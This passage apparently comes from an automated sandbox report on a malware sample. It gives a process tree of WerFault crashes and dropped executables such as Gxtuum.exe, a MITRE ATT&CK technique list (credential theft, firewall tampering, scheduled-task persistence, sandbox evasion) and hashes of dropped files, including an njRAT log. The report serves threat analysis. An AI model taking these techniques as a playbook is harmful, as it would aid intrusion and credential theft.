                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 5448 -ip 5448
                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5484
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1956 -ip 1956
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6244
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 8172 -ip 8172
                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:8064
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 6120 -ip 6120
                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:8180
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 7584 -ip 7584
                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6952
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 6080 -ip 6080
                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3628
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 1096 -ip 1096
                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7372
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 7112 -ip 7112
                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:788
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 6276 -ip 6276
                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7236
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 6328 -ip 6328
                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2684
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 5188 -ip 5188
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1688
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3312 -ip 3312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 7100 -ip 7100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6568
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 408 -ip 408
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2140
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5036 -ip 5036
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1404 -ip 1404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 7748 -ip 7748
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5248
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 3704 -ip 3704
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5860
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 7504 -ip 7504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7704
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 5640 -ip 5640
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5224 -ip 5224
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:8052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4172 -ip 4172
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3432
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 6992 -ip 6992
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6548
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3052 -ip 3052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7464
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\StUpdate.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp/StUpdate.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:8852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\23e3360290\Gxtuum.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\23e3360290\Gxtuum.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:9096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\23e3360290\Gxtuum.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\23e3360290\Gxtuum.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:8052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\kgdj\utdesov.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\ProgramData\kgdj\utdesov.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:8872

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1059

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PowerShell

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1059.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1053.005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1547.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Windows Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1543.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1053.005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1547.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Windows Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1543.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1053.005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1562

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1562.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1112

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Obfuscated Files or Information

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1027

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Command Obfuscation

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1027.010

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1497

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Credentials from Password Stores

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1555

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Credentials from Web Browsers

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1555.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Unsecured Credentials

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1552

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Credentials In Files

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1552.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Browser Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1217

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Peripheral Device Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1120

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Process Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1057

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Query Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1012

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Remote System Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1018

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1082

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                System Location Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1614

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                System Language Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1614.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1016

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Internet Connection Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1016.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Wi-Fi Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1016.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1497

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Collection

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Clipboard Data

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1115

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Data from Local System

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Email Collection

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1114

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Web Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                T1102

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Impact

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\856.exe.log
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  408B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  593f806d2255a76afcad5d4a8395781b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3990edff12ef61875bb4206b25a97a9440a8998c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  beb8b3a764b3e94cc547be84090345e833be03d95d680ad4d75734ccd6485757

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  97440ebd7f8aac1030fe83c7f32a40a986d0fa6faec2c8b8cfbce093a3f27e7626c0b6e768ce6c753ac4dddc4227057b3a6e1d5a652d1f4a9cf64fa8efbad017

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\njrat.exe.log
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  319B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2a0834560ed3770fc33d7a42f8229722

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  c8c85f989e7a216211cf9e4ce90b0cc95354aa53

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8aa2d836004258f1a1195dc4a96215b685aed0c46a261a2860625d424e9402b6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  c5b64d84e57eb8cc387b5feedf7719f1f7ae21f6197169f5f73bc86deddb538b9af3c9952c94c4f69ae956e1656d11ab7441c292d2d850a4d2aaa9ec678f8e82

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\KQHBP8GN\76561199817305251[1].htm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  34KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  fd6f8b34518260b5954309963d5555ee

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  9ab4d4e748545c9bd61740a0e7c3156dc10ab051

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  893bbe7ac26717188d61f4b78de0ce85e8dbbde2b8f2eef3426e437fd4ca5882

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1ee6c04c96d6756c5c43567c0e1447e7204b4e41778be24f0fd830a2450733c72b01827b9dee423f7f5e3002c32a0cc30dcfb15490243c563ec9318fe7e49d9d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\23e3360290\Gxtuum.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.2MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  545b933cac5def6ec43ca2cb6eac9d8e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  f2740a1062032cc280d54c4cfe6a1ff3c6ce1c76

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  efce8cc629bb9f443613c7ec97b65020b514b9ee497d472ef24fed21bceb86c4

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  f4853f10933edbf7df0ca6138bb423e5dfb18cf6431068a776a0c53ea226f176d263b9514066b88861360b161ba922b618f306f1936a95e1071fc70926418caa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Amend
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  94KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  54eec178c4852249a2dd15f9462e8ba1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  28400650149515f9f526d1c96b89cba9dcf77925

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cd13a1fd45ee02fc0b54c57de86d0f249a9b84223fa6e8fa00090aef6722fe48

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  67ec0b2773e711129f54b9663aa2bbad6a3aa393ee9cd643acb91f23241bd9171ab586feabdaba20937fb74a3181890ce788a9771f86edb4282c536d5c54d95c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Children
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  61KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  83dfd5584f7f81cea0e4af2919bb5ea8

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  61ccf77bc19185601e957c04fb50345b58359e42

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  d9c2bd902802d0e458d7c96656dbcd9b36dfdaefe4f309c46b350b32e892e140

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5b73ab4e9f9abe27594328b0c0656075f084c9745d8f513357e74cc1a0559a77f6cfa0b51f9fa7dc181396452072d829ea5c193f9628a0625147946a473c0247

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Cliff
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  111KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  33f61a79bd6438b5be3326be7a493e3f

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  a380ae835aae0c34a9427565f2221b0e9d984fbe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  56c8cbac3e1daa38c1050eeb3b6c772d734e3763738260d35eced5597fcb6a9b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8c71780998b557dc57ad3894155a5b34ff22425d679e3fe60b6060822867b6c30f9989c665021151d22554fb6083b8e07c6423792994a00498b9df569bc8b295

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Deadly
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  115KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

